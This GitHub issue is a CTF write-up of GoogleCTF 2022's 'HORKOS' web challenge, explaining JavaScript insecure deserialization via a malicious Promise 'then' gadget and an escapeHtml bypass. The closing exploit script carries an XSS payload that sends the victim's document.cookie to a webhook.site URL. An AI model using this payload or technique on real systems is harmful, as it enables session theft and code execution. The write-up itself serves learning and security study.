aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

Insecure Deserialization in JavaScript: GoogleCTF 2022 Web/HORKOS Writeup #57

Open aszx87410 opened 2 years ago

aszx87410 commented 2 years ago

We all heard about insecure deserialization vulnerability and saw many real-world cases in Java, PHP, and other languages.

But, we rarely hear about this vulnerability in JavaScript. I think it's because the built-in serialization/deserialization function JSON.parse and JSON.stringify are only for basic data structures like string, number, array and object.

Class and function are not supported, so there is no way to run malicious code during deserialization.

What if we implement our deserialization logic and support class and function? What could possibly go wrong?

GoogleCTF 2022 has a web challenge called "HORKOS," which shows us the way.

Overview

Before digging into the vulnerability in the challenge, we need to know how it works first.

This challenge is like a shopping website:

After selecting what you want and pressing the "CHECKOUT" button, a request will be sent to POST /order with a JSON string.

Here is what the JSON looks like when I add one tomato to my shopping cart:

[
   {
    "key":"0",
    "type":"pickledShoppingCart",
    "value":[
     {
      "key":"items",
      "type":"pickledObject",
      "value":[
         {
          "key":"Tomato",
          "type":"pickledItem",
          "value":[
           {
            "key":"price",
            "type":"Number",
            "value":10
           },
           {
            "key":"quantity",
            "type":"String",
            "value":"1"
           }
          ]
         },
         {
          "key":"Pickle",
          "type":"pickledItem",
          "value":[
           {
            "key":"price",
            "type":"Number",
            "value":8
           },
           {
            "key":"quantity",
            "type":"String",
            "value":"0"
           }
          ]
         },
         {
          "key":"Pineapple",
          "type":"pickledItem",
          "value":[
           {
            "key":"price",
            "type":"Number",
            "value":44
           },
           {
            "key":"quantity",
            "type":"String",
            "value":"0"
           }
          ]
         }
      ]
     },
     {
      "key":"address",
      "type":"pickledAddress",
      "value":[
         {
          "key":"street",
          "type":"String",
          "value":"my"
         },
         {
          "key":"number",
          "type":"Number",
          "value":0
         },
         {
          "key":"zip",
          "type":"Number",
          "value":0
         }
      ]
     },
     {
      "key":"shoppingCartId",
      "type":"Number",
      "value":462044767240
     }
    ]
   }
]

After that, the user will be redirected to another /order page to see the order:

It's worth noting that the URL looks like this:

https://horkos-web.2022.ctfcompetition.com/order#W1t7ImtleSI6ImNhcnQiLCJ0eXBlIjoicGlja2xlZFNob3BwaW5nQ2FydCIsInZhbHVlIjpbeyJrZXkiOiJpdGVtcyIsInR5cGUiOiJwaWNrbGVkT2JqZWN0IiwidmFsdWUiOlt7ImtleSI6IlRvbWF0byIsInR5cGUiOiJwaWNrbGVkSXRlbSIsInZhbHVlIjpbeyJrZXkiOiJwcmljZSIsInR5cGUiOiJOdW1iZXIiLCJ2YWx1ZSI6MTB9LHsia2V5IjoicXVhbnRpdHkiLCJ0eXBlIjoiU3RyaW5nIiwidmFsdWUiOiIxIn1dfSx7ImtleSI6IlBpY2tsZSIsInR5cGUiOiJwaWNrbGVkSXRlbSIsInZhbHVlIjpbeyJrZXkiOiJwcmljZSIsInR5cGUiOiJOdW1iZXIiLCJ2YWx1ZSI6OH0seyJrZXkiOiJxdWFudGl0eSIsInR5cGUiOiJTdHJpbmciLCJ2YWx1ZSI6IjAifV19LHsia2V5IjoiUGluZWFwcGxlIiwidHlwZSI6InBpY2tsZWRJdGVtIiwidmFsdWUiOlt7ImtleSI6InByaWNlIiwidHlwZSI6Ik51bWJlciIsInZhbHVlIjo0NH0seyJrZXkiOiJxdWFudGl0eSIsInR5cGUiOiJTdHJpbmciLCJ2YWx1ZSI6IjAifV19XX0seyJrZXkiOiJhZGRyZXNzIiwidHlwZSI6InBpY2tsZWRBZGRyZXNzIiwidmFsdWUiOlt7ImtleSI6InN0cmVldCIsInR5cGUiOiJTdHJpbmciLCJ2YWx1ZSI6Im15In0seyJrZXkiOiJudW1iZXIiLCJ0eXBlIjoiTnVtYmVyIiwidmFsdWUiOjB9LHsia2V5IjoiemlwIiwidHlwZSI6Ik51bWJlciIsInZhbHVlIjowfV19LHsia2V5Ijoic2hvcHBpbmdDYXJ0SWQiLCJ0eXBlIjoiTnVtYmVyIiwidmFsdWUiOjQ2MjA0NDc2NzI0MH1dfSx7ImtleSI6ImRyaXZlciIsInR5cGUiOiJwaWNrbGVkRHJpdmVyIiwidmFsdWUiOlt7ImtleSI6InVzZXJuYW1lIiwidHlwZSI6IlN0cmluZyIsInZhbHVlIjoiam9obm55d2Fsa2VyIn0seyJrZXkiOiJvcmRlcnMiLCJ0eXBlIjoicGlja2xlZEFycmF5IiwidmFsdWUiOltdfV19LHsia2V5Ijoib3JkZXJJZCIsInR5cGUiOiJOdW1iZXIiLCJ2YWx1ZSI6NDYyMDQ0NzY3MjQwfV1d

It's obviously a base64 encoded string. If we decode it, the result is another similar JSON string:

[
   [
    {
     "key":"cart",
     "type":"pickledShoppingCart",
     "value":[
      {
         "key":"items",
         "type":"pickledObject",
         "value":[
          {
           "key":"Tomato",
           "type":"pickledItem",
           "value":[
            {
               "key":"price",
               "type":"Number",
               "value":10
            },
            {
               "key":"quantity",
               "type":"String",
               "value":"1"
            }
           ]
          },
          {
           "key":"Pickle",
           "type":"pickledItem",
           "value":[
            {
               "key":"price",
               "type":"Number",
               "value":8
            },
            {
               "key":"quantity",
               "type":"String",
               "value":"0"
            }
           ]
          },
          {
           "key":"Pineapple",
           "type":"pickledItem",
           "value":[
            {
               "key":"price",
               "type":"Number",
               "value":44
            },
            {
               "key":"quantity",
               "type":"String",
               "value":"0"
            }
           ]
          }
         ]
      },
      {
         "key":"address",
         "type":"pickledAddress",
         "value":[
          {
           "key":"street",
           "type":"String",
           "value":"my"
          },
          {
           "key":"number",
           "type":"Number",
           "value":0
          },
          {
           "key":"zip",
           "type":"Number",
           "value":0
          }
         ]
      },
      {
         "key":"shoppingCartId",
         "type":"Number",
         "value":462044767240
      }
     ]
    },
    {
     "key":"driver",
     "type":"pickledDriver",
     "value":[
      {
         "key":"username",
         "type":"String",
         "value":"johnnywalker"
      },
      {
         "key":"orders",
         "type":"pickledArray",
         "value":[

         ]
      }
     ]
    },
    {
     "key":"orderId",
     "type":"Number",
     "value":462044767240
    }
   ]
]

That's it, it seems that it's a tiny web application without too many features.

Source code - rendering

Let's see how it works under the hood.

Below is the source code for the core function:

const script = new VMScript(fs.readFileSync('./shoplib.mjs').toString().replaceAll('export ','') + `
sendOrder(cart, orders)
`);

app.post('/order', recaptcha.middleware.verify, async (req,res)=>{
  req.setTimeout(1000);

  if (req.recaptcha.error && process.env.NODE_ENV != "dev") {
    res.writeHead(400, {'Content-Type': 'text/html'});
    return await res.end("invalid captcha");
  }

  if (!req.body.cart) {
    res.writeHead(400, {'Content-Type': 'text/html'});
    return await res.end("bad request")
  }

  // TODO: Group orders by zip code
  let orders = [];
  let cart = req.body.cart;
  let vm = new VM({sandbox: {orders, cart}});

  let result = await vm.run(script);

  orders = new Buffer.from(JSON.stringify(orders)).toString('base64');

  let url = '/order#' + orders;

  bot.visit(CHALL_URL + url);

  res.redirect(url);
});

Our input, req.body.cart is pass to a VM and run sendOrder(cart, orders).

After sendOrder, the orders array will be updated and sent to /order as the parameter. Then, the user will be redirected to the order page, and a bot will also visit the page.

Here is the JavaScript code on the order page:

import * as shop from "/js/shoplib.mjs";

window.onload = () => {
    let orders = JSON.parse(atob(location.hash.substr(1)));
    console.log(orders);

    (orders).forEach((order) =>  {
        const client = new shop.DeliveryClient(order);
        document.all.order.innerHTML += client;
    })
} 

client will be assigned to innerHTML, if we can inject HTML here, we got an XSS that allows us to steal the information(like cookie) of the admin bot.

Below is the related code snippet for rending HTML:

const escapeHtml = (str) => str.includes('<') ? str.replace(/</g, c => `&#${c.charCodeAt()};`) : str;
const renderLines = (arr) => arr.reduce((p,c) => p+`
<div class="row">
<div class="col-xl-8">
  <p>${escapeHtml(c.key).toString()}</p>
</div>
<div class="col-xl-2">
  <p class="float-end">${escapeHtml(getValue(c.value, 'quantity').toString())}
  </p>
</div>
<div class="col-xl-2">
  <p class="float-end">${escapeHtml(getValue(c.value, 'price').toString())}
  </p>
</div>
<hr>
</div>`, '');

const getValue = (a, p) => p.split('/').reduce((arr,k) => arr.filter(e=>e.key==k)[0].value, a);

const renderOrder = (arr) => {
    return `
    <div class="container">
      <p class="my-5 mx-5" style="font-size: 30px;">Delivery Information</p>
      <div class="row">
        <ul class="list-unstyled">
          <li class="text-black">${escapeHtml(getValue(arr,'cart/address/street').toString())} ${escapeHtml(getValue(arr,'cart/address/number').toString())}</li>
          <li class="text-muted mt-1"><span class="text-black">Invoice</span> #${escapeHtml(getValue(arr, 'orderId').toString())}</li>
          <li class="text-black mt-1">${new Date().toDateString()}</li>
        </ul>
        <hr>
      </div>

      ${renderLines(getValue(arr, 'cart/items'))}

      <div class="row text-black">
        <div class="col-xl-12">
          <p class="float-end fw-bold">Total: $1337
          </p>
        </div>
        <hr style="border: 2px solid black;">
      </div>
      <div class="text-center" style="margin-top: 90px;">
        <p>Delivered by ${escapeHtml(getValue(arr, 'driver/username').toString())}. </p>
      </div>

    </div>
`;    
};

export class DeliveryClient {
    constructor(pickledOrder) {
        this.pickledOrder = pickledOrder;
    }
    toString() {
        return renderOrder(this.pickledOrder);
    }
};

There is a escpaeHtml function to do the sanitization, it encodes all < if < is in the input.

Also, we can see that almost all variables are escaped before rendering to the page, it seems that we have no chance to do something bad?

Not exactly, if you look very carefully.

In function renderLines, this line is different:

<p>${escapeHtml(c.key).toString()}</p>

Why? Because all the other places are escape(something.toString()), cast the input to string then escape, but the one above cast to string "after" escaped.

If you are familiar with JavaScript, besides String.prototype.includes, there is another function with the same name: Array.prototype.includes.

String.prototype.includes checks if the target is in the string while Array.prototype.includes checks if the target is in the array.

For example, ['<p>hello</p>'].includes('<') is false because there no '<' element in the array.

In other words, if c.key is an array, we can bypass the check and rendering <, which caused XSS.

Now, we have already finished the second half of the challenge. All we need to do is to find the solution for the first half: "how do we make c.key an array?"

Source code - generating order data

As I mentioned earlier, the order data is generated by sendOrder function, our goal is to find the vulnerability in its implementation and manipulate the order data.

Below is the related source code:

export const pickle = {
    PRIMITIVES: ['String', 'Number', 'Boolean'],
    loads: json => {
        const obj = {};
        for (const {key, type, value} of json) {
            if (type.match(/^pickled/)) {
                obj[key] = pickle.loads(value);
                const constructor = type.replace(/^pickled/, '');
                obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype;
            } else {
                obj[key] = new globalThis[type](value);
            }
        }
        return obj;
    },
    dumps: obj => {
        const json = [];
        for (const key in obj) {
            const value = obj[key];
            const type = value.constructor.name;
            if (typeof type !== 'string') continue;
            if (typeof value == 'object' && !pickle.PRIMITIVES.includes(type)) {
                json.push({
                    key,
                    type: 'pickled' + type,
                    value: pickle.dumps(value)
                });
            } else if (typeof value !== 'undefined') {
                json.push({
                    key,
                    type,
                    value: globalThis[type].prototype.valueOf.call(value)
                });
            }
        }
        return json;
    }
};

const DRIVERS = ['drivefast1', 'johnnywalker', 'onagbike'];

export const sendOrder = async (value, orders) => {
    const delivery = new DeliveryService(new Order(
        pickle.loads(JSON.parse(value))[0]
    ), orders);
    return delivery.sendOrder();
};

export class Driver {
    constructor(username, orders) {
        this.username = username;
        this.orders = orders;
    }
    async sendOrder(order) {
        order.driver = this;
        const pickledOrder = pickle.dumps(order);
        this.orders.push(pickledOrder);
        return true;
    }
};
export class DeliveryClient {
    constructor(pickledOrder) {
        this.pickledOrder = pickledOrder;
    }
    toString() {
        return renderOrder(this.pickledOrder);
    }
};
export class DeliveryService {
    constructor(order, orders) {
        this.order = order;
        this.orders = orders;
    }
    findDriver() {
        return new Driver(
            DRIVERS[Math.floor(Math.random() * DRIVERS.length)], this.orders);
    }
    async sendOrder() {
        const driver = this.findDriver();
        if (await driver.sendOrder(this.order)) {
            return this.order.orderId;
        }
    }
};
export class Order {
    constructor(cart) {
        this.cart = cart;
        this.driver = null;
        this.orderId = this.cart.shoppingCartId;
    }
};
export class ShoppingCart {
    constructor() {
        this.items = {};
        this.address = '';
        this.shoppingCartId = Math.floor(Math.random() * 1000000000000);
    }
    addItem(key, item) {
        this.items[key] = item;
    }
    removeItem(key) {
        delete this.items[key];
    }
};
export class Item {
    constructor(price) {
        this.price = price;
    }
    setQuantity(num) {
        this.quantity = num;
    }
};
export class Address {
    constructor(street, number, zip) {
        this.street = street;
        this.number = number;
        this.zip = zip;
    }
};

First, sendOrder is called, and our input(value) is parsed as JSON and then deserialized by pickle.loads.

Then, a new DeliveryService is created and delivery.sendOrder is called.

export const sendOrder = async (value, orders) => {
    const delivery = new DeliveryService(new Order(
        pickle.loads(JSON.parse(value))[0]
    ), orders);
    return delivery.sendOrder();
};

In DeliveryService.sendOrder, there will be a random driver to send your order, and return this.order.orderId.

export class DeliveryService {
    constructor(order, orders) {
        this.order = order;
        this.orders = orders;
    }
    findDriver() {
        return new Driver(
            DRIVERS[Math.floor(Math.random() * DRIVERS.length)], this.orders);
    }
    async sendOrder() {
        const driver = this.findDriver();
        if (await driver.sendOrder(this.order)) {
            return this.order.orderId;
        }
    }
};

In Driver.sendOrder, the driver is assigned to the order, and pickle.dumps(order) is pushed to this.orders, which returns to the user and shows on the /order page in the end.

export class Driver {
    constructor(username, orders) {
        this.username = username;
        this.orders = orders;
    }
    async sendOrder(order) {
        order.driver = this;
        const pickledOrder = pickle.dumps(order);
        this.orders.push(pickledOrder);
        return true;
    }
};

How does deserialization works?

In JavaScript, class instance is just an object whose constructor points to the class and __proto__ points to the prototype of the class.

class A {
  constructor(num) {
    this.num = num
  }
  hello() {
    console.log(this.num)
  }
}
var obj = new A(123)
console.log(typeof obj) // object
console.log(obj.constructor === A) // true
console.log(obj.__proto__ === A.prototype) // true
obj.hello() // 123

So, it's easy to create an instance of A without new operator:

class A {
  constructor(num) {
    this.num = num
  }
  hello() {
    console.log(this.num)
  }
}
var obj = {
  num: 123
}
obj.__proto__ = A.prototype
obj.hello() // 123

It's basically what pickle.loads does, recreate the object and assign the correct prototype according to the type key.

Trying to mess up prototype

After understanding how it works, my first thought is to mess up the prototype chain to achieve something unexpected.

This part is the most suspicious, in my opinion:

export const pickle = {
  PRIMITIVES: ['String', 'Number', 'Boolean'],
  loads: json => {
    const obj = {};
    for (const {key, type, value} of json) {
      if (type.match(/^pickled/)) {
        obj[key] = pickle.loads(value);
        const constructor = type.replace(/^pickled/, '');
        obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype;
      } else {
        obj[key] = new globalThis[type](value);
      }
    }
    return obj;
  }
};

The first thing I noticed is that I can create a function if the type is Function, because globalThis['Function'] is a function constructor.

If I can find a way to run the function, I can get an RCE in the sandbox and manipulate the orders. But I can't find one at the moment.

The second thing I tried is to let key equals to __proto__, so that I can control obj.__proto__.__proto__ which is Object.prototype.__proto__, the prototype of Object.prototype.

But this does not work because it's not allowed. You will get an error like this:

TypeError: Immutable prototype object '#<Object>' cannot have their prototype set

The third thing I came up with is "prototype confusion", look at this part:

if (type.match(/^pickled/)) {
  obj[key] = pickle.loads(value);
  const constructor = type.replace(/^pickled/, '');
  obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype;
}

pickle.loads always returns an object, so obj[key] is an object. But, if the type is pickledString, its prototype will be String.prototype.

So, we can have a weird object whose prototype is String. We messed up the prototype! But, unfortunately, it's useless in this challenge.

After playing around with the pickle function for hours and finding nothing useful, I decided to take a step back.

The essence of insecure deserialization

The most suspicious part of the challenge is the pickle function, which is responsible for deserializing data. So, I assumed it's a challenge about insecure deserialization.

What is the essence of insecure deserialization? Or put it in another way, what makes deserialization "insecure"?

My answer is: "unexpected object" and "magic function".

For example, when we do the deserialization in the application, it usually is to load our data. The reason why deserialization is a vulnerability is that it can be exploited by loading "unexpected object", like common gadgets in popular libraries.

Also, the "magic function" is important in PHP, like __wakeup, __destruct or __toString and so on. Those magic functions can help the attacker to find the gadget.

Back to the challenge, it's written in JavaScript, what are the magic functions in JavaScript?

  1. toString
  2. valueOf
  3. toJSON

So, based on this new mindset, I rechecked the code to see if I could find somewhere interesting.

Although none of the functions has been called on our deserialized object, I did find an interesting place:

export class DeliveryService {
  constructor(order, orders) {
    this.order = order;
    this.orders = orders;
  }
  findDriver() {
    return new Driver(
      DRIVERS[Math.floor(Math.random() * DRIVERS.length)], this.orders);
  }
  async sendOrder() {
    const driver = this.findDriver();
    if (await driver.sendOrder(this.order)) {
      return this.order.orderId;
    }
  }
};

Look at the sendOrder function, it's an async function and it returns this.order.orderId. It means that if this.order.orderId is a Promise, it will be resolved, even without await.

async function test() {
  const p = new Promise(resolve => {
    console.log('hello')
    resolve()
  })
  return p
}

test()

Paste it to the browser console and run, you will see hello printed in the console.

It's easy to build a serialized Promise, we only need a then function:

async function test() {
  var obj = {
    then: function(resolve) {
      console.log(123)
      resolve()
    }
  }
  // we don't even need this actually
  obj.__proto__ = Promise.prototype
  return obj
}

// we don't need await here
test()

The serialized object looks like this:

{
  "key":"shoppingCartId",
  "type":"pickledPromise",
  "value":[
    {
      "key":"then",
      "type":"Function",
      "value":"globalThis.orders.push(JSON.parse('"+payload+"'));arguments[0]();"
    }
  ]
}

arguments[0] is the resolve function, we need to call it otherwise the program is hanged.

As I mentioned earlier, if we can find a way to run a function, we can push our payload to orders.

Exploitation

To sum up, we can get the flag by the following steps:

  1. Craft a serialized object with a malicious then function in the orderId
  2. Manipulate globalThis.orders to insert our data with XSS payload
  3. The admin bot load our payload and trigger XSS
  4. Steal cookie

Below is what I use to test and generate the payload:

(BTW, we don't need to insert a new record actually, just modify orders[0] to our xss payload. It's easier and also works)

const {VM, VMScript} = require("vm2");
const fs = require('fs');

const script = new VMScript(fs.readFileSync('./myshoplib.mjs').toString().replaceAll('export ','') + `
sendOrder(cart, orders)
`);

async function main () {
  let orders = [];

  let payload = JSON.stringify([
    {
      'key': 'cart',
      'type': 'pickledShoppingCart',
      'value': [
        {
          'key': 'items',
          'type': 'pickledObject',
          'value': [
            {
              'key': ['<img src=x onerror="location=`https://webhook.site/d8dc1452-8e82-408d-9dcf-8ad713754f36/?q=${encodeURIComponent(document.cookie)}`">'],
              'type': 'pickledItem',
              'value': [
                {
                  'key': 'price',
                  'type': 'Number',
                  'value': 10
                },
                {
                  'key': 'quantity',
                  'type': 'String',
                  'value': '1'
                }
              ]
            }
          ]
        },
        {
          'key': 'address',
          'type': 'pickledAddress',
          'value': [
            {
              'key': 'street',
              'type': 'String',
              'value': ''
            },
            {
              'key': 'number',
              'type': 'Number',
              'value': 0
            },
            {
              'key': 'zip',
              'type': 'Number',
              'value': 0
            }
          ]
        },
        {
          'key': 'shoppingCartId',
          'type': 'String',
          'value': 800600798186
        }
      ]
    },
    {
      'key': 'driver',
      'type': 'pickledDriver',
      'value': [
        {
          'key': 'username',
          'type': 'String',
          'value': 'johnnywalker'
        },
        {
          'key': 'orders',
          'type': 'pickledArray',
          'value': []
        }
      ]
    },
    {
      'key': 'orderId',
      'type': 'String',
      'value': 'PEW'
    }
  ]).replaceAll('"', '\\"')

  let cart = JSON.stringify(
    [{"key":"0","type":"pickledShoppingCart","value":[{"key":"items","type":"pickledObject","value":[{"key":"Tomato","type":"pickledItem","value":[{"key":"price","type":"Number","value":10},{"key":"quantity","type":"String","value":"1"}]},{"key":"Pickle","type":"pickledItem","value":[{"key":"price","type":"Number","value":8},{"key":"quantity","type":"String","value":"0"}]},{"key":"Pineapple","type":"pickledItem","value":[{"key":"price","type":"Number","value":44},{"key":"quantity","type":"String","value":"0"}]}]},{"key":"address","type":"pickledAddress","value":[{"key":"street","type":"String","value":"1"},{"key":"number","type":"Number","value":0},{"key":"zip","type":"Number","value":0}]},{"key":"shoppingCartId","type":"pickledPromise","value":[{"key":"then","type":"Function","value":"globalThis.orders.push(JSON.parse('"+payload+"'));arguments[0]();"}]}]}]
  );

  let vm = new VM({sandbox: {orders, cart, console}});
  try {
    let result = await vm.run(script);
  } catch(err){
    console.log('err', err)
  }
  console.log('orders')
  console.log(orders)

  console.log(encodeURIComponent(cart))

}
main()

Conclusion

This challenge shows us how a simple deserialization function can be abused by crafting a Promise with a malicious then function.

You can return anything in an async function, but if you return a Promise, it will be resolved first as per the MDN documentation.

Thanks Pew for solving the second part and other team members for the great teamwork.